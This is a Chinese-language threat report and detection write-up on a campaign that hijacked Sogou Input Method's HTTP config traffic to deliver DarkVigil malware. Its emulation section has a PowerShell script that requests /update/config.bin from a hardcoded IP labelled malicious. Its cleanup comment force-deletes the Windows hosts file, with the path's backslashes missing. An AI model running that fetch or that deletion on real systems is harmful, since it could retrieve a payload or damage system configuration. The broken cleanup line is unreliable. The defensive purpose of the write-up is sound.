SlippyNunchucks 恶意软件行动利用搜狗品牌推广

总结

SlippyNunchucks威胁行动者利用DNS劫持来拦截由搜狗输入法生成的不安全HTTP流量。这使攻击者能够注入恶意配置，通过边加载技术启动DarkVigil恶意软件植入的下载。该活动主要针对亚洲和欧洲地区的中文用户。

调查

ESET研究人员发现，该组织滥用搜狗输入法中的品牌推广机制，特别是SGTool.exe组件。DNS操控将针对合法配置端点的请求重定向到攻击者控制的中转基础设施。调查还发现了一条多阶段的边加载链，涉及重命名的合法Adobe可执行文件以掩盖其存在。

缓解措施

腾讯在搜狗输入法16.10版本中解决了该问题，通过将受影响的HTTP请求迁移到HTTPS并引入TLS证书验证。用户应升级到最新的软件版本以防止通过DNS劫持注入并提供恶意配置的攻击。

响应

检测到恶意活动时，组织应调查未授权的DNS更改并检查网络流量，寻找连接到已知中转域的情况，例如 sogou-cdn.com。安全团队还应监控由搜狗输入法组件生成的可疑子进程，包括意外执行重命名的Adobe二进制文件或从组件目录加载的未签名DLL。

模拟执行

前提条件：遥测和基线预飞检查必须通过。

原理：本节详细说明设计触发检测规则的对手技术（TTP）的精确执行。命令和叙述必须直接反映识别的TTP，旨在生成检测逻辑所期望的精确遥测。抽象或无关的示例将导致误诊。

• 攻击叙述和命令： 对手旨在模拟一个DNS劫持场景，其中对 config.pinyin.sogou.com 的请求被转到恶意IP。为了触发提供的特定检测规则，模拟将绕过本地DNS并使用一个硬编码的IP地址（47.239.250.102）来匹配规则的标准。这模拟了劫持的DNS响应将搜狗软件引导到攻击者控制的服务器以下载负载的时刻。

• 回归测试脚本：

  # 通过硬编码IP连接模拟DNS劫持以触发具体规则
  # 这模拟了搜狗输入法尝试访问其配置服务器
  # 但被重定向到恶意IP。
  
  $TargetDomain = "config.pinyin.sogou.com"
  $MaliciousIP = "47.239.250.102"
  
  Write-Host "[*] 开始模拟生成DNS劫持遥测..."
  
  # 我们使用直接IP连接来模拟劫持的DNS解析的效果
  # 即使通过IP进行连接，许多代理日志也会通过Host头记录请求的域。
  
  try {
      $uri = "http://$($MaliciousIP)/update/config.bin"
      Write-Host "[*] 尝试通过$MaliciousIP连接到$TargetDomain"
  
      # 使用Invoke-WebRequest通过代理模拟网络流量
      Invoke-WebRequest -Uri $uri -Method Get -Headers @{"Host"="$TargetDomain"} -TimeoutSec 5
  }
  catch {
      Write-Host "[!] 连接失败（预期，因为IP可能不在线），但应该已经生成了遥测。"
  }
  
  Write-Host "[*] 模拟完成。"

• 清理命令：

  # 此模拟脚本未进行持久更改。
  # 如需清理添加的任何网络级别工件（例如，主机文件），请使用：
  # Remove-Item -Path C:WindowsSystem32driversetchosts -Force（需要管理员权限）
  Write-Host "[*] 清理完成。没有创建持久工件。"